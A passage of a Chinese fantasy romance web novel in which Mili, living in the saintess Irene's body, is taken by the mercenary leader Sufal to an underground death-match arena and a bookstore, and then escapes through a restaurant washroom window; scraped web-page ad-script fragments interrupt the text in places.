假如她可以学习魔法该多好?这样就可以在琉莎杀害自己的时候可以反抗,可以拥有保护家人和自己的能力,那么她也不会落在这个陌生地方。 可惜没有假如。 事已至此,她不能垂头丧气,苏法尔没有和她同行,那她可以趁此寻找机会脱逃。 没多久,咪莉坐上格雷准备的马车出发了。 这是一座位于埃比优大陆比较边缘的一座城市,以各类矿物、武器制造等行业发展,虽然不如大陆首都圣光城繁华辉煌,人流却并不少,这里聚集着大陆各行各业的优秀人员,尤其锻造武器的工匠师。 而苏法尔的佣兵团总基地便驻扎在这座城市的一处郊野深处。 马车从平铺的大路上一路行驶,进入弯弯绕绕的小路,苏法尔那座宫殿已经被峰峦森林藏匿其中。 咪莉双手按在车窗上往外张望了一番,等看清四周环境后,便缩回去靠在车板上叹了口气。 苏法尔的老窝儿还真隐蔽,藏在这么深邃的地方,如果她要是再回去那个地方,靠她自己逃走的可能性非常小,那她必须在出去后想尽办法逃走。 格雷是苏法尔近身侍卫,地位也绝对是大魔法师级别的,苏法尔能如此放心地把她交给他,也正说明了这点,她敌不过他们任何一个人。 咪莉开始泄气,拿起小桌上摆放的玫瑰茶点往嘴里塞。 逃走无望啊…… 不过,这茶点不错,比她家乡产的味道要更纯粹一些,吃起来一点也不腻。 咪莉又吃了好几块。 马车行进了大约有近半个时辰左右,便来到了都城内,咪莉要求下车走路,格雷似乎并不在乎咪莉的那点小心思,点点头就让马车停下,引咪莉下车。 这里的街道并不怎么宽阔,两边挤满了各种商铺,有锻造房,药店,书屋,杂货铺,还有贩卖小宠物的店铺,空气中弥漫着一股特殊的混合气味。 而且这里包容性很大,除了人类,居然也有大量魔族贩子行走其中。 魔族与人类向来水火不容,即使和平了好多年,双方看对方也不对付,总会有些人魔冲突在各地发生。 可在这里,人类与魔族不仅和平共处,还勾肩搭背称兄道弟。 这让咪莉震惊不已,从小听着魔族吃人的故事长大,她的骨子里已经对魔族有了条件反射的恐惧感,她小心翼翼地打量那些跟买家讨价还价的魔族贩子,路过时谨慎避让。 这一切场景打破了她一直以来的认知。 咪莉一路往前走,格雷跟在她左手边,不论她如何走位想甩掉格雷,格雷总能瞬间黏上来。 咪莉三窜两蹦地往前快步走,时不时注意身后格雷跟上来的距离,一不小心撞上一个人高马大的魔族。 那魔族有着极其粗狂的外表,红色的眼眸天生自带邪恶的寒光,咪莉感到害怕地退后了一步道歉:“不好意思。” 以为自己会遭到对方的殴打之类的,谁料这魔族忽然咧开长长的嘴笑起来说:“没事儿,小丫头别怕。” 后面那句显然是看出她恐惧的情绪而安慰她。 这个魔族意外得细心温厚。 咪莉愣愣地看着那个魔族转身离去,格雷不知何时已经到达她的身边说:“他叫非加,是前面那家小书屋的老板。” “书屋老板?”咪莉不可置信地看向格雷,显然觉得一个外表如此野蛮凶煞的魔族经营一家充满文艺气息的书店很不符。 人不可貌相是对的。 咪莉为自己对魔族的固有想法感到丝丝羞愧,看来这个世界上还有许许多多她不知道的事情。 “伊瑞妮大人,团长已经等很久了,我们走吧。”格雷轻声催道,语气要比苏法尔房间门口那俩守卫诚恳多了。 咪莉并不是不懂事的人,她逃走的行为已经很明显,格雷却并未为难她,她也只好认命答应。 格雷带咪莉来的地方是一座竞技城,它的门店并不大,外面就像一个普通的杂货铺模样,只是规格要大上许多,进去以后更是别有天地。 路过熙熙攘攘的前厅,走进一条走廊时四周瞬间安静了下来。 “格雷大哥,你知道苏法尔带我来这里做什么吗?”咪莉看着这古怪的地方发出疑问,走廊的墙壁是米色的,每走几步便有一幅充满艺术气息的油彩壁画悬挂,画面或是漂亮的原野景物类,又或是生动形象的不知名兽类。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 格雷看着那个停在一幅狮头魔兽彩画面前仔细观察的女孩说:“团长大人的用意我也不清楚。” 咪莉“哦”了一声,跟着格雷继续走,然后她们停在了一道黄色木门前。 格雷敲了敲门,等到了里面的回应后才开门让咪莉进去,他则留在了外面。 这是一间小型会客厅,里面有两个人,一个是男孩子气打扮的飒爽女人,另一个则是苏法尔。 “伊瑞妮,又见面了。”娜娜一只手捏着一杯红茶,一只手撑在一张矮柜上,姿势十分随性,利落的浅金色及耳短发衬得她整个人比不少男人都俊俏得多。 咪莉的眼里应该写满了“你是谁”的疑惑,因为娜娜又说:“看来真的失忆了,这么清澈的眼神真不是靠演戏演出来的。” 苏法尔也看向咪莉,脸上的笑轻到几乎没有:“伊瑞妮,这是娜娜,这座竞技城的老板,也是我的好朋友。” 咪莉并不想认识谁,她看见这个男人就生气,连带对他的朋友语气也没那么高兴,只是淡淡地应了一声,然后她又问:“让我来这里做什么?” “好像被讨厌了。”娜娜并没有丝毫不开心,反而饶有兴趣地歪头盯着咪莉。 咪莉想说点什么,但是有苏法尔的存在,她张不开口,索性就做个脾气不好的人吧。 苏法尔朝咪莉走来,嘴唇动了动,还没说出什么,娜娜笑着说:“只是帮你检查下身体,团长说你昨天晕倒,又失忆了,我们猜测你是因为刚成为圣女所造成的原因。” 咪莉看向苏法尔,苏法尔对她一笑:“你刚成为圣女没多久,人类普通体质一时无法容纳圣女的强大力量,所以带你来这里,娜娜是很出色的医师,可以帮你尽快解决你身体的问题,让你的身体和圣女力量完美融合。” 他的眼神很平静,咪莉却总觉得惶惶不安,就像深渊里隐藏着未知危险,她的失忆是撒谎,但昏倒是真的,灵魂与身体不契合也是真的。 她不是伊瑞妮,她是咪莉。 娜娜带咪莉走进一间暗室,她被放在一张硬邦邦的器台上,就像医生为患者做手术的那样。 咪莉很想推开娜娜不顾一切地逃出去,直觉告诉她苏法尔和娜娜都在说谎,但当她这种想法更为强烈的时候,她已经出于害怕听话地按照娜娜要求躺了下去,意识渐渐消散。 当眼皮合上时,咪莉听到娜娜说:“我不仅是医师,也是名药剂师哦。” 咪莉心想,她应该在不知什么情况下被使用了麻醉药剂,不然她不会昏睡得这么快。 苏法尔从门口那边走进来,看着躺在那里睡得安稳的咪莉,目光沉沉:“她已经完成授封圣女仪式,体内神力已经在慢慢形成,娜娜,你有多少把握让这股神力不被伊瑞妮的身体吞掉?” 娜娜端着手肘,思考了一下,然后很是俏皮地说:“只有一半几率~” 苏法尔无奈地叹气:“娜娜,请尽量做到百分之八十以上的几率吧。” 娜娜挥挥手示意让苏法尔离开:“我尽量我尽量,团长你出去吧,我要开始对她施展魔法了。” 苏法尔走出去,关上门,在那里站了两三秒,才抬脚往外走。 5. 第 5 章 咪莉醒来时,已经回到那间会客厅,躺在一张铺着杏黄色绒毯的长沙发上,她的对面坐着正在看书的苏法尔。 察觉到咪莉醒来后,苏法尔从书里抬起头,平淡地问:“醒了?” 咪莉转了转眼眸,昏睡前的记忆霎时涌上,她被娜娜用了麻醉剂,完全陷入一片黑暗中。 咪莉迅速坐起来,朝自己身上扫了一圈,发觉并没有任何不对的地方,就像只是单纯地睡了一觉,可是当时娜娜的眼神明明就像要把她开膛破肚那样诡异。 她一阵后怕,狐疑地问苏法尔:“你们是不是对我做了什么不好的事?” 咪莉看了一眼桌上放着的一只黑色钟表,是两点二十分,时间距离她来时已经过了将近一个小时。 苏法尔嘴角一勾,黑漆漆的眼里闪烁出光光点点,语气甚是无辜:“怎么会?伊瑞妮,不要把我想得有多坏,你可是我的妻子,娜娜只是给你检查了一下身体。” 咪莉翻了个白眼,起来走了两步:“你又不喜欢我,何必假惺惺地扮演好丈夫呢?” 苏法尔没有半分愧疚,像是说一件非常稀松平常的事:“不喜欢也可以结婚的,伊瑞妮。” 等咪莉怒着回过头瞪他时,他看向其他地方,神色仿佛带着些疑惑般喃喃自语:“而且我并不讨厌你。” “你不讨厌我,可我非常讨厌你!”咪莉哼着甩着头发就要朝门口走去。 苏法尔好奇地问:“为什么讨厌我?” 他的眼睛很亮,表情纯粹地就像一个孩子似的等人为他解惑。 咪莉觉得眼前的男人真奇怪,像一个充满矛盾的奇异体,偶尔流露出顽劣冷漠,又会安安静静地坐在一个地方沉稳地思考,此刻又像个好奇的孩子一样单纯,简直就是个精神分裂症。 “你强迫我和你结婚,这一件事就够我讨厌你一辈子了。” 咪莉说完后拉开门出去,顺着来时的路往外面走,其实她的心里已经紧张到突突乱跳,她希望苏法尔不要追出来,周围也没有格雷在,那她说不定可以逃掉。 没过几秒,咪莉的幻想便被打破。 苏法尔的声音从咪莉身边响起:“伊瑞妮,我说过的,你是自愿答应我的求婚,婚礼上反悔是你的不对。” 咪莉生气地看过去,这个男人正一副“你不跟我道歉也没关系我好心不和你计较”的宽容大度模样,更让她一拳打在棉花上那样气急败坏。 但她绝不会让这个男人看自己笑话,她要镇静,完全无视这个男人的任何无耻言语。 走出寂静的走廊后,前厅里的人挺多,来来往往,看得出来这座竞技城生意很火爆,有不少参赛者和观众。 “要去看看比赛吗?”苏法尔见女孩的目光一直停留在那些吵吵嚷嚷的人群身上。 “可以。”咪莉点点头,既然逃脱无望,也不想回去那个深山老林,那就找点其他事情做。 “走这边。”苏法尔转身朝远处人流量最多的一扇石块大门走去,声调宁静地说,“曼努森竞技城是一座地下竞技城,所以我们要下到底下去。” “曼努森?”咪莉看向他问着。 苏法尔见女孩的目光充满迷惑,暗暗叹息:“伊瑞妮,你连这座城市的名字都忘了吗?” 咪莉跟着他走进大门内,理所当然地噘嘴:“忘了。” 苏法尔停在一道门前,抬手在光滑墙壁上一块凸起按了按,然后他们面前的门便自动打开来。 大城市里许多建筑运转都是靠魔法阵或者魔法晶石维持,人类的智慧真的是无穷无尽啊,可以利用魔法给生活带来诸多便利。 咪莉清楚这一点,只是在她的乡下很少见而已,在她的小镇上,拥有耀眼光辉的魔法师也只出了四个,琉莎也是其中一个。 又想到她的妈妈了,不知道她妈妈现在怎么样了,是不是焦急地到处找自己,又或者被那个占用她身体的伊瑞妮给骗得团团转?还有奥倾哥哥,会不会发现自己已经失踪了呢? “你的身体好像对低级魔法失去了免疫效果,娜娜给你检查过说……”苏法尔缓缓说着,忽然发现身旁的女孩已经陷入一种低沉的情绪里,他沉默了一会儿,轻喊了一声,“伊瑞妮?” 咪莉回过神来,却不愿意理这个可恶的男人,过了好几秒才开口:“我已经不会魔法了。” 她的体质从小就有问题,不能和同学一样修习魔法,这是她一直以来最大的心结。 魔法师是大陆上最神圣的存在,是人类的向往,地位不亚于王公贵族,连国王也会对高级魔法师鞠躬作礼,几乎每个人都想成为魔法师,保卫国家和家人。 看着如此低落忧郁的女孩,苏法尔安慰她说:“这只是一时的情况,即使失去记忆,也可以重新学习,又或许你的记忆找回来了,那么你的魔法能力也会自然而然回来的。” 咪莉哀怨地抬眸瞥了他一眼,又垂下脑袋看向地面:“但愿如此吧。” 只可惜她不是失忆的伊瑞妮,重新学习也没有魔法天赋,她的身体就像个绝缘体,感知不到任何自然元素。 两人沉默了许久,魔梯载着他们到了地下十层,咪莉抬起头问:“不过你说圣女的体内有一股强大的力量,那是什么?” 从魔梯里出来,苏法尔走在前头,一位侍者为他们引了路,苏法尔脚步略放慢了些,和咪莉保持着同行的步子:“每个圣女都是由大陆自然选择的,在时机成熟时,天上会出现异像,发出信号告知人类圣女已定。” 苏法尔拐过廊角,掀开灰金色的布幔,回过头对正在听得入神的咪莉轻轻一笑,深黑的瞳孔里浮现出一丝愉悦之意:“你原来是在教堂长大的孤童,是一名花卉魔法师,在一个月前,你被大陆选中成为了一名圣女,你的力量也得到了飞升,而且体内蕴含着上天赐给你的无限神力。” 咪莉愣愣地看着苏法尔,他的眼睛像汪洋的黑色海水懒洋洋地翻浮,那些海水禁锢在他的眼眸里,总觉得下一秒便会危险地冲出淹没她,但主人的情绪十分宁静,控制得极好。 咪莉始终没能看透苏法尔眼底最深处暗藏的掠夺,她还是见识太少,遇到过的人不多,她闭上眼睛去感受体内那所谓的那强大神力。 咪莉集中精神,放松身体,过了大约将近一分钟,感受到身体里似乎确实有了什么不一样的存在,好像一只幼小的动物被一层薄薄的透明屏障包裹在其中。 所以她刚刚是有感知魔法能力了吗? 面对这一惊喜,咪莉睁开眼睛说:“刚刚我感觉到身体里有只特别小的动物蜷缩着,那是什么?” “小动物吗?”苏法尔低语着,这应该是伊瑞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妮体内还未成型的神力,小动物这样的形容似乎挺适合,他忽然一笑,“那就是上天赐予圣女的无限神力,用以守卫人类的能力,只是神力太过强势,普通人类无法一时融合。” 他顿了一下,笑得温柔,说出来的话那样有安全感:“不过你放心,娜娜以后会定期为你施法,让你的身体逐渐适应神力的存在,然后让它成为你的力量。” 苏法尔说的话没有一点破绽,咪莉抓不住心里那丝虚无的不安感来自何处,她最后还是决定不相信这个男人,偏过头不理他。 被一位穿着黑白侍服的侍者询问几号房,苏法尔从口袋里拿出一张黑色房卡给对方看了看,正要领着他们往前走时,苏法尔对他笑了下说:“我们自己过去就好。” 侍者应声离开,走廊上的人零零星星,苏法尔走在前头,听见身后的咪莉忽然问他:“苏法尔,你到底为什么和我结婚?” 苏法尔停下来回头,沉寂的黑眸无声无息,嘴角是惯性挂的极浅笑意。 咪莉被盯得心里直发毛,她想了一通,如果一个人并不喜欢对方还要求结婚,说明有非这么做的理由,苏法尔不喜欢伊瑞妮,那么他想从伊瑞妮身上得到什么呢?他与伊瑞妮之间真的有什么约定吗? 苏法尔望着这个拧着眉毛一脸沉重的女孩,他笑了,整个人都散发着暖洋洋的气息,那头浓黑的发和深邃的眼让他如此少年:“伊瑞妮,等你恢复记忆后我再告诉你原因。” 咪莉听到这个回答后很不满意,瞪了一眼这个浑身冒着坏水儿的可恶男人后从他身边路过:“欺骗少女的坏男人!” 对于咪莉这样恶意的评价,苏法尔并不生气,他跟随着咪莉的步子慢慢走着,女孩走得很快,纤细的背影在昏暗走廊里宛如一个纯真美丽的精灵。 走了不到十来步,苏法尔叫住前面烦躁不悦的女孩:“伊瑞妮,是这间。” 随后他先走了进去,停在茶桌前后,看见女孩一脸怒气地从门口走进来,然后坐到他对面的位置上,他轻轻抿了下唇,眼角沾了些笑意,也坐了下来。 咪莉不想看对面的男人,于是把头九十度扭到窗口方向,瞬间被外面的景象惊呆了。 她坐在靠窗的位置,外面是巨大的深坑,四周都是一间间的豪华包厢,从巨大长窗里甚至可以看见里面的客人。 底下巨大的深坑里有一张圆形的竞技台,被几道很粗的锁链连接在山洞峭壁上,在最底下一层的包厢下面,是安置的一整圈普通观众席位,距离竞技台最近,看得也更清楚。 底下的观众里有不少穿着奇异服装的异族,除了人类和魔族,还有鲜少见的半兽族,兽族,巨人族。 那些兽族长着人形的四肢,又有兽类特征的爪子或五官,看起来狰狞又可怕,半兽族据说是人类和兽族的混血,人形特征更为明显。 咪莉不仅感慨,真是神奇的跨种族恋爱啊,她看着竞技台上的一个有着狼耳朵的半兽族说:“狼和人类是怎么生出宝宝的呢?” “呵……”苏法尔笑出了声,然后看见对面的女孩子在瞪他,他敛起嘴角说,“狼族在兽族里是很强悍的一族,在生育方面也是很优秀的,有本书里提到过一个故事,某个狼族和一名人类少女结合后,那名少女一次生下七个幼儿。” 咪莉的表情已经堪称惊悚。 6. 生七个宝宝 人类少女一次生下七名幼儿,这显然刷新了女孩的单纯认知。 一名侍者敲门进来送了红茶和点心,等侍者离去后,苏法尔拿起翠绿色的茶壶倒着茶水说:“底下那个半兽族狼人叫拉德利,战绩优秀,看见他身边的那个浑身灰色毛发的纯狼族了吗?是他的同伴切克,他们两个的合作是天衣无缝的级别,是这里出了名的勇者搭档,有他们在的比赛,赌注几乎是一边倒。” 比赛在他们来之前就已经开始,目前场上的局势还处于相互观望试探的谨慎状态。 苏法尔似乎对这种厮杀场面早已见惯,并未太过专注底下的比赛,只偶尔扫一眼,没什么太大情绪。 他将倒好的红茶放到咪莉面前,橘红色的茶水在精致小巧的茶杯里冒着淡淡雾气,他动作优雅从容,不像什么刀尖上过日子的野蛮佣兵团长,反倒像一位儒雅的翩翩贵族。 “苏法尔,你……”咪莉欲言又止地看着他,根本没把男人介绍选手的话听进去多少,脑子里仍然是那个生下七个幼儿的少女对她造成的冲击。 “怎么了?”苏法尔淡然地看着对面支支吾吾的女孩,不疾不徐地为自己也倒了杯红茶。 咪莉抿了抿唇,白皙的脸蛋憋出来一些可疑的红色,声音细弱蚊蝇:“你该不会还要和我……吧?” 咪莉后面说得含糊,苏法尔愣了下,理智沉静到如同精密仪器运转的大脑也似乎“咔哒”卡了一下壳,因为从女孩古怪的神情里他已经明白过来那几个黏糊的字是什么了。 苏法尔忽然轻声笑了一下,没有说话,只默默注视着对面忐忑不安的女孩。 两个人无声地对视了好大一会儿,咪莉终于忍不住了,表情碎裂般悲愤:“我不可能跟你做生七个宝宝的那种事情的!” 苏法尔点点头,捏起杯耳端至身前,云淡风轻地说:“我不是狼族,伊瑞妮,而且那只是极个别的小概率事件。” 看着仍旧龇牙咧嘴仿佛要咬死他的女孩,他轻叹一声:“我不会强迫你和我做任何事的,伊瑞妮,你放心吧。” 咪莉用怀疑的眼神瞅着对方:“真的?” 苏法尔轻轻“嗯”了一声,咪莉才不情不愿地双手捧起那杯温热的红茶抿了一口,甘甜清爽的味道让她微微放松了下来,赶紧把那可怕的事情从脑子里甩出去。 “对了,你刚刚说那个半兽族叫什么?”咪莉用双肘撑着桌面望向竞技台上的大批参赛者,时不时啜一口手里捏着的红茶,双眸亮闪闪的,充满好奇心,显然已经将那个宝宝概率事件极快地抛之脑后。 “叫切克。”苏法尔放下茶杯,看着对面认真观看比赛的女孩,也随性地曲起一只手臂放在桌上支着脸庞,他的视线落在女孩的睫毛上,睫毛颜色很淡,却很弯翘,屋内璨黄色的灯光让她的脸庞像蜂蜜的颜色,亮晶晶的,看起来很甜蜜。 “这里竞技规则是什么样子的?” “这一场是群体竞技,人数以十的倍数设置,最后会产出两名胜利者。”苏法尔见女孩要转过头来,他声色自然地将目光移向底下的竞技人群中,桌上的食指轻轻敲了一下桌面,没有一丝声音。 “所以其实很看合作对象是吗?”咪莉看了看苏法尔,“与其在危机四伏的陌生人群里中单打独斗,从参加比赛的选手里找一个可以信任的合作对象,胜面应该更大。” “嗯,那个兽族和半兽族已经形成了长期合作关系,遇到他们的选手,几乎没什么赢面。”苏法尔顿了下,继续说,“这里的竞技是残酷的,输了不是残便是死。” 苏法尔转过头来,不出意外地看到了女孩错愕的表情,他淡淡一笑,如沐春风,仿佛说的事情一点也不血腥:“曼努森竞技城,是死亡之城。” “为什么?这些人不怕死吗?”咪莉不理解,为了并不必须的竞技,堵上自己的性命值吗? 苏法尔拿起盘子里的一小块玫红色蝴蝶酥放在咪莉的碟子里说:“来这里的选手,大多分为两种。” 见女孩低下脸捏起那块蝴蝶酥,不知为何,苏法尔联想到了一种猫科动物,女孩白嫩嫩的手指就像拨弄小鱼干的毛茸茸猫爪一样。 苏法尔嘴角不自觉地有些小弧度,他继续说:“一种人是为了钱,这里的奖金高至天价,是缺钱的人首选之地,但他们大多通常平庸,资质无奇,来这里基本是送命的。一种人是为了追求打斗中的未知刺激,他们来自各族各地,身手不凡能力出众,是各大王公贵族们都想要雇佣为护卫的佼佼者。” “真是无奇不有啊。”咪莉转头看向底下已经血脉偾张招招狠厉的选手和呼声高涨热血沸腾的观众们。 第一种还可以理解,如果急需用一大笔的钱,来这里赌一赌确实可行,不过竟然还有为了追求打斗刺激而把生死置之度外的人,果然强者的世界她一个小菜鸡无法体会。 不过说起来她已经有了可以感知魔法的能力,那是不是就代表着她可以学习魔法了? 啊!那等走的时候找个书店买本魔法书学一下试试吧,来的时候不小心撞上的那个魔族叫什么来着,去他的店里逛一逛也可以,但是她没有钱,苏法尔会帮她这个忙吗?不过苏法尔应该也会有魔法书?那她就不用买了,跟苏法尔借一下也行。 咪莉咀嚼着脆脆的蝴蝶酥,甜度恰好,还带着微浅的花香,嘴里边嘎吱嘎吱地发出轻脆的响声,她喝了口红茶顺了顺说:“苏法尔,你有魔法书吗?入门的低级类别。” 她才刚可以感知,那应该从最低级的循序渐进尝试,避免那些使用高级魔法后因为无法承受而把自己给整废了的悲催事件。 苏法尔把那一盘蝴蝶酥都推近了咪莉:“我有几本高级魔法书,低级的倒是没有,低级魔法书一般都是十岁出头的学生使用的,我并没有看过。” 咪莉诧异地问他:“那你以前不学习低级魔法吗?” 苏法尔轻笑,清澈的黑色双瞳令他看起来像个人畜无害的少年:“那些低级的小魔法在学习高级魔法的时候会自动记忆到我脑子里。” “所以你的低级魔法算是不用学就会的。”咪莉暗暗咬牙,语气有些酸溜溜的,感叹这个男人对魔法有着天赋与智慧的同时,也认识到自己起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 步太晚,等她回去就立刻学习! 魔法也分好几种派系,苏法尔说过伊瑞娜是花卉魔法师,花卉魔法师就是研究如何让鲜花保持永生的模样,也可以用各类花卉制作不同效果的魔法药剂或道具,这需要魔法师拥有大量的植物知识。 但她连玫瑰和月季都分不清。 咪莉无奈,皱着眉从血迹斑斑的竞技台上收回视线,如苏法尔所料,那个兽族和半兽族赢得了这场比赛,即使已经被其他选手故意联合针对,他们两个依然杀出了胜利。 她对这种残忍至极的竞技毫无兴趣,见盘子里的蝴蝶酥只剩一块,发觉这两盘茶点好像都被自己吃光了,苏法尔倒是什么都没吃光喝茶。 咪莉有点不好意思:“你怎么不吃?” 苏法尔摇摇头,眼底是淡淡笑意:“我不太喜欢吃点心。” 咪莉吐了口气,还好这男人没说“都被你吃了我还有什么可吃”,她已经完全忘了一开始是苏法尔投喂她的。 见女孩走的意思已经很明显,苏法尔很识趣地带她离开,坐上魔梯来到地面上,到了热热闹闹的前厅后,咪莉指着对面那扇石块大门说:“那里是做什么的?和我们这里出来的环境一样。” 苏法尔边往前走,边侧头对咪莉轻笑,那只墨色的菱形耳钻小幅度地摇出弧线,垂下的眼睫更显深邃:“那边是普通竞技城。” 见女孩睁着不解的眼神,他语无波澜地补充道:“就是有裁判的那种,比赛可以点到为止,基本上不会有性命危险,除非有人起杀心故意为之。” 咪莉停下来又看看身后她们刚出来的那扇门,又看看苏法尔,最后皱着脸说:“还是对面那种竞技方式更符合我的认知。” 咪莉指的是有裁判那种。 苏法尔望着女孩先他一步的身影不由一笑,很显然女孩在生气带她去残忍的那一层,他跟上去说:“那要不要再去更符合你认知的竞技城看看?” 咪莉瞪他一眼,快步甩开他的身影,再次深觉这个可恶男人是欺负少女的大混蛋,因为这混蛋绝对是故意带她去残忍的那一层的! 咪莉说要低级魔法书,苏法尔不太明白咪莉要低级魔法书做什么,带她去一家书店时问了问,咪莉说她失忆了,魔法也不会使用了,那么为了安全起见她要从低级的开始学习。 苏法尔曲起食指放在下唇上,思考道:“你的顾虑是从没有学过魔法才该有的,你虽然失忆了,但你以前是高级魔法师,身体是可以承载施展高级魔法的能力的,所以不用从头学起。” 他将目光落在咪莉身上,黑沉沉的双眸透出冰冷刺骨的光线。 咪莉的心砰砰剧烈跳起,这个男人又在以一种审视的眼神看待她,真是个思维敏感的可怕男人。 咪莉紧了紧怀里的书,坚硬的书壳硌得她手指微疼,连忙看向其他地方:“我是为了以防万一,我才不想有任何意外发生,你以为谁都跟你一样是魔法天才吗?” 咪莉白了他一眼,迅速朝人群里走去,她以后得谨言慎行,不然迟早会在这个深不可测的男人面前露馅。 7. 她是我妻子 两人到了最近的一家书店,老板并不是咪莉撞到的那个魔族非加。 店面很大,几十架深红的书柜分列有序,书柜上是满满当当的各类书籍,每本书都被柔软的洁白绒毯垫着,刚走进去便是扑鼻而来的清新气息,木质的芬芳混合着淡淡油墨味道,令人生出一种奇异的安稳感觉。 咪莉家的小书店要比这个小多了,而且她家的倒更像个杂货铺,不止售卖各类书籍,还会售卖一些日常杂物。 老板是个戴着眼镜的年轻短棕发人类,懒洋洋地倚在座椅里打着盹儿,他听了咪莉问的话后,漫不经心地说魔法类学习书籍在靠西边的第二排架子上,随后打了个哈欠眯上眼,看起来没有一点迎客的积极心。 咪莉照着老板说的话走到西边第二排架子前仔细查找书籍分类,苏法尔很快确定了目标,帮忙在一众眼花缭乱的入门书籍当中精挑细选了一番后,他看向还在苦思苦恼如何选书的咪莉,然后把手中的三本书递过去。 咪莉快速看了一眼书籍上的名称,确实是她需要的。 但她没有接,反而又抽了几本刚刚翻看的高级魔法书走向柜台。 苏法尔没有说什么,也没有提醒咪莉家里有高级类的,见咪莉干站着没有下一步付钱的动作,也同样沉默着。 他想等等看,看看这个女孩会不会开口跟他说话,女孩身上并没有可以装钱的口袋。 死咬牙关板着脸不肯吱声的咪莉也是耐心超绝,和男人无声地僵持不下。 就是不和他说话,苏法尔就是她妈妈口中最常唠叨的要防范的坏男人一卦。 咪莉横眉冷目,静静站着。 在懒散的年轻店主察觉到这两位客人站在柜台前好久都没说话后询问了一句,咪莉似乎听到了男人微不可闻的一声轻叹。 然后是苏法尔默默付账。 耶,她胜利了。 呃,胜利什么了? 咪莉糊里糊涂,但心情就是好转了些。 等苏法尔付完账后,见男人伸手想要帮她拿,她推开对方的爪子,自己摞好那几本书抱在怀里,一言不发地走出书店,势必要将谨言做到无言。 苏法尔头一次因为一个女孩子感到了郁闷,他不明白女孩子为什么生起气来都是不说话,这种行为似乎很幼稚,可他好像也变得幼稚了起来,就这么默不作声地跟在咪莉身后。 咪莉走得极快,她不想回去那座深山老林,路过一家饭馆时走了进去,身后跟着不出声的苏法尔。 咪莉对店员说借用一下洗手室,并且把书放在前台保管。 苏法尔没有跟上去,在门口等着,他对一直偷看他的女店员莱恩微微一笑,然后走到前台在那些魔法书里拿了一本低级的咒语书无聊翻看。 看柜台的莱恩见这位英俊男人翻看女孩留下的魔法书,便主动过去热络地交谈起来:“这位大人,刚刚那个穿白裙子的女孩是您的妹妹吗?是刚开始学习魔法?” 妹妹?当然不是妹妹。 苏法尔随意地抬眸看她一眼,又低下头,嘴角带着若有若无的笑意,骨感修长的手掌筋脉起伏,偏白的肌肤上覆着层阳光的淡淡金芒,漫无目的地一页一页翻着米黄纸张,心思似乎并不在手中的书本上:“不是。” 莱恩心里一暗,最不愿的某种情况被男人漫然道出:“她是我妻子。” “您妻子看起来年龄很小呢,”她看了一眼桌上那些用来学习的魔法书,“是名伟大的魔法师吗?真是令人敬佩。” 莱恩的眼神里露出钦羡的向往,要知道魔法师的地位在大陆上是无比尊贵的,不仅要靠天赋和努力,还需要大量的财力,一般的普通家庭是无法正常负担高昂费用的。 不过如果家里出了个拥有魔法天赋的孩子,那么家里人为了飞黄腾达就是砸锅卖铁也会送孩子去学习,拥有魔法天赋的人是极少的。 苏法尔思索了下,有些不确定地说:“算是个初级者吧。” 莱恩的灰色眼睛亮亮的,她的心思已经不在那个借用洗手室的女孩身上,满心满眼都是眼前这个气质出众的男人,她觉得这位大人声音很沉稳,性格也十分温和,她想多认识认识对方,也期盼对方能记得自己的名字:“我叫莱恩,请问大人您叫什么?” 苏法尔合上书,对她莞尔:“我的名字是苏法尔。” “……您就是昨天刚举行完婚礼的黑暗佣兵团团长,苏法尔大人?”店员两眼毫不掩饰的惊喜。 据说黑暗佣兵团团长是个非常热爱到处冒险的工作狂,很少回到曼努森,最近听闻苏法尔与圣女伊瑞妮相识几天便很快陷入爱河定下婚约,一对佳人就比诞生。 那么刚刚进去的女孩就是圣女伊瑞妮大人了吗?看起来实在弱小呢。 莱恩的脸色有些黯淡。 在她眼里,伊瑞妮出身贫寒,却有领悟魔法的慧根,又被上天选中成为万人敬仰的圣女大人,这绝对是无比幸运且光荣的事迹。 而且还拥有如此英俊的漂亮男人做丈夫,她的心更加酸涩起来,开始埋怨自己为什么没有魔法天赋。 苏法尔不知道眼前的店员在暗自哀怨什么,他打断莱恩的思绪,非常礼貌地问:“莱恩小姐,可以麻烦你帮我去看看我妻子吗?她很久没出来了。” “啊,好的大人,请您稍等。”莱恩说完后往后方的洗手室方向走去,心里泛着酸水。 “我的妻子”这个称谓从苏法尔大人口中说出真的令人感到幸福啊,可惜苏法尔的妻子不是她,她只能作为一个饭店柜台小姐的外人身份,为这个男人去找他的妻子。 走了几步后,她又嘀咕圣女大人好像才刚进去不到五分钟而已,看来苏法尔大人很在意自己的妻子,就连短短几分钟没有见面也等不及呢。 再次感叹了下圣女大人和苏法尔大人相爱到如此密不可分,她也为自己刚刚心里负面的坏情绪感到可笑。 莱恩,不要如此嫉妒别人的幸福,你自己也会有很好的人生的。 莱恩在心里悄悄对自己说着,收拾好自己杂乱的心绪,来到洗手室门外,外间没有人,她走进去喊了声:“伊瑞妮大人,您在吗?您的丈夫在等您。” 房间静悄悄的,没有人回应。 一分钟后,苏法尔看见那名柜台小姐慌慌张张地奔出来说:“大人,伊瑞妮大人她不在洗手室。” 苏法尔的黑眸微微眯了一下,去洗手室查看了一番。 狭窄的洗手室里空空荡荡,没有可以藏人的地方,他们也没有见到女孩出来。 苏法尔抬头,目光定格到最上面的一扇透明窗户,大小完全可以容纳一个正常人类的出入。 莱恩随着他视线往上看,惊呼一声:“伊瑞妮大人她难道从窗户那里……走了?”窗户是开着的,但平时都是关闭状态,这一点她可以确定。 她想不通伊瑞妮大人会从窗户离开的奇怪行为,用词也犹豫了一番,从窗户走怎么看都像是在逃避。 莱恩悄悄地瞅了一眼身边凝眉深思的男人,心里开始胡思 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乱想,伊瑞妮大人和苏法尔大人有什么矛盾吗?新婚夫妻第二天就如此不和谐,看起来并不如流传的那样和睦幸福呢,对了,她还听说昨天在婚礼上,伊瑞妮大人要闹着悔婚呢。 